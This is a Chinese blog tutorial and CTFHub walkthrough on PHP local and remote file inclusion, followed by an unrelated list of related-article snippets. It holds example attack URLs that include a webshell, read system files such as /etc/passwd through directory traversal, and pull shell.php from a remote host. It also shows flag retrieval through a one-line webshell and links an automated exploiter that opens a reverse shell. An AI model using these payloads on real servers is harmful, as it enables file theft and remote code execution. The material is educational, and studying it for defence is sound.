文件包含漏洞渗透与攻防(一)

news2024/9/23 7:17:48

目录

前言

什么是文件包含漏洞

文件包含漏洞类型

本地文件包含

远程文件包含

PHP相关函数和伪协议

函数

PHP伪协议

CTF题目案例

文件包含漏洞挖掘与利用 

URL关键字

代码审计 

利用流程 

文件包含漏洞修复方案


前言

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。 文件包含漏洞也叫“任意文件访问漏洞”,会造成服务端敏感文件被访问。

什么是文件包含漏洞

文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。但是asp、jsp文件只能本地包含,而php既可以本地包含也可以远程包含。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

文件包含漏洞类型

文件包含漏洞有两种类型,一种是本地文件包含 Local File Inclusion :LFI(目录遍历漏洞/任意文件访问漏洞),还有一种是远程文件包含 Remote File Inclusion :RFI

本地文件包含

本地包含

这是一个名为footer.php的文件,内容如下。

 这是一个名为main.php的文件,内容如下,main.php通过include 去引用了footer.php文件里的内容。

 最终页面main.php呈现效果如下:

动态包含 

它通过GET函数获取文件名,假如文件名存在,那他将包含这个文件。我们把这个文件保存为index.php,然后通过传参去包含footer.php文件。最终呈现效果如下:

 包含恶意代码或图片马

他还可以包含恶意代码或图片马,假如这里的shell.php是恶意文件的话,

列如:

http://localhost/fileinc/include.php?file=shell.php
http://localhost:7298/upload-labs/include.php?file=upload/shell.gif

 我们可以利用这种包含直接连接中国蚁剑。

包含敏感文件

列如:

http://localhost/fileinc/include.php?file=C:\Windows\system.ini

让文件包含漏洞能够访问系统的敏感文件。

 远程文件包含

想要打开服务器的远程文件包含功能,php.ini文件中的这两项功能必须为on。

远程文件包含的格式一般如下:

http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
http://localhost/fileinc/include.php?file=http://远程IP/shell.php

如图:我们远程访问了目标服务器1.txt文件的内容。

PHP相关函数和伪协议

函数

 

PHP伪协议

CTF题目案例

我们打开CTFhub的官网,官网地址:CTFHub

 

 我们先来做第一关文件包含,打开漏洞环境,打开后出现如下环境:

他这里通过Get请求file参数,然后去包含这个文件,他这里还提示我们有个shell.txt文件。

那我们构造如下语句去包含这个文件试试:

显示如上,我们点击这个shell,出现如下页面:

 这个很显然是一个一句话木马,那我们可以直接用蚁剑去连接,密码就是ctfhub,不过我们这里直接用更简单粗暴的方式去访问:

我们通过ctfhub直接传参执行系统命令,查看到当前目录下有两个文件:

很显然这里没有什么flag。

我们直接通过find命令去查找文件名中包含有flag的文件,如下图找到好多文件名中有flag的文件,那会不会是最后这个flag呢?

 我们通过cat命令去查看这个flag文件,果然出现了flag:

我们来做第二关:

打开页面如下图所示:

我们点击phpinfo去访问:

 然后我们构造下面的语句,去请求文件流:

然后打开BurpSuite抓包:

将其发送到Repeater模块:

 

我们将GET改为POST请求,因为GET请求是没有办法发送我们要执行的命令的。

然后我们在下面添加语句,执行查看命令。

 发包,回显如下:

然后我们去查看他的根目录:

 

 回显:

发现有个flag文件:

我们去查看这个flag文件:

回显出了flag:

接下来我们来做第三关:

打开后,页面如下:

我们继续构造下面语句传输文件流:

抓包:

老样子,先发送到Repeater模块:

 然后GET请求改成POST,加上查看语句,回显:

我们看到有个flag文件,我们查看:

文件包含漏洞挖掘与利用 

URL关键字

我们可以通过url关键字去访问文件,列如:http://LinuxIP/include.php?file=../../../../../etc
/passwd,通过这些去查看有没有文件包含漏洞。

代码审计 

我们可以通过代码审计去发现一些文件包含漏洞。

利用流程 

有这么一个LFI Suite的工具,他可以直接将你发现的文件包含漏洞直接利用,返回给你一个shell。

下载地址:GitHub - D35m0nd142/LFISuite: Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner

 

 

文件包含漏洞修复方案

1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/132389.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ACWING】【图的广度遍历】【848有向图的拓扑顺序】

给定一个 n个点 m条边的有向图,点的编号是 1到 n,图中可能存在重边和自环。 请输出任意一个该有向图的拓扑序列,如果拓扑序列不存在,则输出 −1。 若一个由图中所有点构成的序列 A满足:对于图中的每条边 (x,y)&#…

STM32MP157驱动开发——Linux CAN驱动

STM32MP157驱动开发——Linux CAN驱动一、简介1.电气属性2.CAN协议3.CAN速率4.CAN FD 简介二、驱动开发1.修改设备树2.FDCAN1控制器节点3.修复 m_can_platform.c4.使能 CAN 总线5.使能FDCAN外设驱动三、运行测试1.移植 iproute2 和 can-utils 工具2.测试1)收发测试&…

数据结构排序

文章目录直接插入排序直接插入排序 核心代码 void InsertSort(int arr[], int n) {for (int i 2; i < n; i) ///直接从第二个元素开始遍历{if (arr[i - 1] > arr[i]) //判断前一个元素和当前元素的大小&#xff0c;若前一个元素小于当前元素才需要插入{arr[0] …

Markdown之折叠语法以及表格内父子折叠

背景 在编写接口文档的时候发现一些特别扭的问题&#xff0c;就是一个表格来说明入参和出参的时候&#xff0c;怎么去表达嵌套的父子关系呢&#xff1f;查看了大厂的接口文档&#xff0c;比如微信支付&#xff0c;他们是有完善的接口文档页面&#xff0c;也都全部标记出了表格…

pycharm-qt5-基础篇1

pycharm-qt5-基础篇1一: QT5介绍1> 主要的特性2> pycharm 外部工具及功能1. Qt Designer2. PyUic3> PyUrcc二: pycharm QT5 环境搭建1> 虚拟环境搭建2> 安装 pyqt5、pyqt5-tools3> 将QT工具添加到环境变量4> 配置PyCharm三: QT5 demo四: pyinstaller 打包…

Java 并发编程知识总结【三】

4. CompletableFuture 4.1 Future 和 Callable 接口 Future 接口定义了操作异步任务执行一些方法&#xff0c;如获取异步任务的执行结果、取消任务的执行、判断任务是否被取消、判断任务执行是否完毕等。 Callable 接口中定义了需要有返回的任务需要实现的方法。 使用途径&am…

详解Spring面试AOP

文章目录什么是 AOP&#xff1f;AOP作用AOP核心概念&#xff08;来自黑马程序课程&#xff09;AOP 解决了什么问题&#xff1f;AOP 为什么叫做切面编程&#xff1f;总结1 AOP的核心概念2 切入点表达式3 五种通知类型4 通知中获取参数AOP是面向切面编程&#xff0c;是一个设计思…

Java同学录系统同学录网站

简介 用户注册可以创建班级&#xff08;创建者即为群主&#xff09;&#xff0c;用户也可以查找班级申请加入&#xff0c;群主添加同学的联系方式等&#xff0c;可以在班级里留言&#xff0c;管理相册等&#xff0c;还可以指定其他人为群主或者解散班级群&#xff0c;群里的用…

【ROS】—— ROS快速上手(一)

文章目录前言1. ROS-melodic 安装2. ROS基本操作2.1 创建工作空间2.2 创建功能包2.3 HelloWorld(C版)2.4 HelloWorld(Python版)3. Vscode ROS 插件4. vscode 使用基本配置4.1 启动 vscode4.2 vscode 中编译 ros5. launch文件演示6. ROS文件系统7. ROS文件系统相关命令前言 &…

EMNLP22评测矩阵:FineD-Eval: Fine-grained Automatic Dialogue-Level Evaluation

总结 在选择维度时&#xff0c;有点意思。 FineD-Eval: Fine-grained Automatic Dialogue-Level Evaluation 一般对话生成任务的评测也是从多个维度出发&#xff0c;这篇文章先选择了几个相关性程度低的维度&#xff0c;然后&#xff0c;在挑选后的维度上&#xff0c;测评相…

动态规划经典题:编辑距离(hard) 详解,看了还不会你来砍我

&#x1f9f8;&#x1f9f8;&#x1f9f8;各位大佬大家好&#xff0c;我是猪皮兄弟&#x1f9f8;&#x1f9f8;&#x1f9f8; 文章目录一、最长公共子序列二、两个字符串的删除操作三、编辑距离Hard为了更好的理解&#xff0c;我们从易到难的来解决编辑距离的问题一、最长公共…

Tic-Tac-Toe可能棋局遍历的实现(python)

目录 1. 前言 2. 算法流程 3. 代码实现 4. 一个思考题&#xff1a;代码实现中的一个坑 5. 结果正确吗&#xff1f; 1. 前言 在上一篇博客中&#xff1a;Tic-Tac-Toe可能棋局搜索的实现&#xff08;python&#xff09;_笨牛慢耕的博客-CSDN博客Tic-Tac-Toe中文常译作井字棋…

基础数学(五)——数值积分

文章目录考试要求基础概念代数精度&#xff08;必考题&#xff09;代数精度的定义求代数精度的例题&#xff08;期末考试数值积分第一个大题&#xff09;数值积分公式的构造插值型求积公式&#xff08;必考题&#xff09;插值型数值积分公式定理Newton-Cotes求积公式Cotes公式代…

webpack 学习

1.拆分、合并 webpack-merge devlopment production 2.webpack-dev-serve devServer: { port contentBase progress open compress proxy:{ xxx:{ target:..., pathRewrite:{ "^/api" }, changeOrigin:true } } } 3.处理样式 css module:{ rules:[ { test:/\.sc…

qt开关控件设计(手把手从零开始)

从零开始手把手教你设计自己的qt控件1 说明1.1 显示效果1.2 控件特性1.3 设计方法2 控件需求分析2.1 必要需求2.1 顺带需求&#xff08;锦上添花&#xff09;3 功能设计3.1 设计思路&#xff08;重点内容&#xff09;3.2 自适应大小3.3 开关动画3.4 控件绘制4 总体代码1 说明 …

推动新能源越野场景革命 坦克品牌开创越野新生态

近日&#xff0c;坦克品牌以“创领越野新生态”为主题&#xff0c;携多款车型登陆第二十届广州国际汽车展览会。秉持“以用户为中心”&#xff0c;坦克品牌围绕技术与生态双线出击&#xff0c;正式亮相坦克500 PHEV长续航版、生活方式共创平台TANK Life。技术创领&#xff0c;打…

docker-ui创建使用

首先需要安装docker: apt install docker.io composer也需要安装&#xff1a; apt install composer docker查找docker-ui镜像&#xff1a; docker search docker-ui 在列表里选一个镜这里就选第一个。 docker pull builtdock/docker-ui 然后直接docker run 使用的时候&#x…

DSL操作ElasticSearch基础命令

文章目录一、DSL操作ES-RESTful风格二、DSL操作索引库2.1 PUT 添加索引2.2 GET 查询索引2.3 DELETE 删除索引2.4 POST 打开/关闭索引库三、DSL操作映射3.1 数据类型3.1.1 简单数据类型3.1.2 复杂数据类型3.2 创建索引库并设置映射3.2.1 语法格式3.2.2 举例3.3 查询索引库映射3.…

python中的类型注解

目录 一.类型注解 变量的类型注解 类型注解的语法 类型注解主要功能在于: 函数方法的类型注解 函数&#xff08;方法&#xff09;形参进行类型注解 函数&#xff08;方法&#xff09;返回值进行类型注解 小结 Union类型 小结 一.类型注解 变量的类型注解 思考 为什么…

Android美团多渠道打包Walle集成

一、为什么使用美团多渠道打包的方式&#xff1f; 打包更加快速 传统的通过productFlavors渠道包的方式&#xff0c;渠道10个以内还可以接受&#xff0c;如果100个渠道包&#xff0c;每个包需要打5Min,就是将近10个小时的打包&#xff0c;而采用美团Walle多渠道打包的方式只需…